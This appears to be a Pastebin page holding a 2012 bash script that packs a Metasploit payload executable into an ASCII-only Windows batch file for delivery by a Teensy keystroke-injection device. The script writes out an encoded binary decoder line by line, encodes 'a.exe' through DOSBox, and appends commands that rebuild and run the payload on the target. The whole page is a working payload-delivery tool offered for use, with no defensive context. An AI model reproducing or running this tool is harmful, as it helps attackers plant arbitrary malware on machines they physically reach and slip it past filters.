Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- clear
- echo '*****************************************************'
- echo ' Automatic ASCII Shellcode Batch generator '
- echo 'Astrobaby 2012 - For Teensy Deployment & Metasploit'
- echo 'The Payload Executable to encode MUST be called a.exe'
- echo '*****************************************************'
- echo -ne "\n"
- echo -ne "\n"
- echo '@ECHO OFF' > shellcode.bat
- echo -e 'ECHO:`h}aXP5y`P]4nP_XW\050F4\050F6\050F=\050FF\051FH\050FL\050Fe\050FR0FTs*}`A?+,>>decbin.com' >> shellcode.bat
- echo -e 'ECHO:fkOU\051:G*@Crv,*t$HU\0133rlf~#IubfRfXf\050V#fj}fX4{PY$@fPfZsZ$:NvN$>>decbin.com' >> shellcode.bat
- echo -e 'ECHO:9AyroNB-\051dOKwK0rRkfTbi\051ws_\0176\0133\0133q9wE\047sqlu1sY*Bsfe=@ziNS1a)88e>>decbin.com' >> shellcode.bat
- echo -e 'ECHO:f9RTL)9Z{3INBD?o6@MDLO{Zz4Q23E-\047\060\071NX9@Vz(42A7c8zMS:u$w6k5Q>>decbin.com' >> shellcode.bat
- echo -e 'ECHO:N,h:le)~gF?tutTyxoe5UiIdtn\047;0rJ1q:{7;lAl\047]y:yTjZBbOo?QRIdN>>decbin.com' >> shellcode.bat
- echo -e 'ECHO:$Bp@P/nAp_r0*4f\047XcF4q3o?$_t5lx$Q-OxSfUNQ__Gd~$Q-Oxgkx=LGHU>>decbin.com' >> shellcode.bat
- echo -e 'ECHO:S)$C6P8#>>decbin.com' >> shellcode.bat
- echo '::---------------------------------------' >> shellcode.bat
- echo '`h}aXP5y`P]4nP_XW(F4(F6(F=(FF)FH(FL(Fe(FR0FTs*}`A?+,' >encbin.com
- echo 'fkOU):G*@Crv,*t$HU[rlf~#IubfRfXf(V#fj}fX4{PY$@fPfZsZ$:O*' >>encbin.com
- echo -e 'R$9g9voNB-)dY(@P0rOac$:FV9\047@F7JbqJ5EfzB5{g~f./1nWaG_t0zS' >>encbin.com
- echo -e 'smW\050t_t0zH*rd~R\047\065\065@G$.7]*w-NEZ9E?Nu\047@U{88zMS:h33zBO{ZwFQ'>>encbin.com
- echo -e '21w\0134\047\060\071NX_zxAr/_-P]oN@*e_{[CNihl7@dEr}ec+`UJ$$5d{$9xS=k1' >>encbin.com
- echo -e 'yVE$$,vc*b90fy6+S)`ARJX$Q]yah_aaK\044\044\063qbAwsEz$QcETTOQTo+/4' >>encbin.com
- echo -e '@\051$Qfu$gkx=SGHUS\051\044C6D4#' >>encbin.com
- todos encbin.com
- #Writing dosbox conf file to run the encoder
- location=`pwd`
- echo 'mount c' $location >> ~/.dosbox/*.conf
- dosbox -c "c:" -c "encbin.com < a.exe > text" -c "exit"
- fromdos TEXT
- sed 's/^/ECHO:/' TEXT > test2.txt
- sed 's/$/>>loader.com/' test2.txt > test3.txt
- todos test3.txt
- cat test3.txt >> shellcode.bat
- echo 'decbin < loader.com > a.com' >> shellcode.bat
- echo 'a.com' >> shellcode.bat
- todos shellcode.bat
- rm -f test2.txt
- rm -f test3.txt
- rm -f test.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement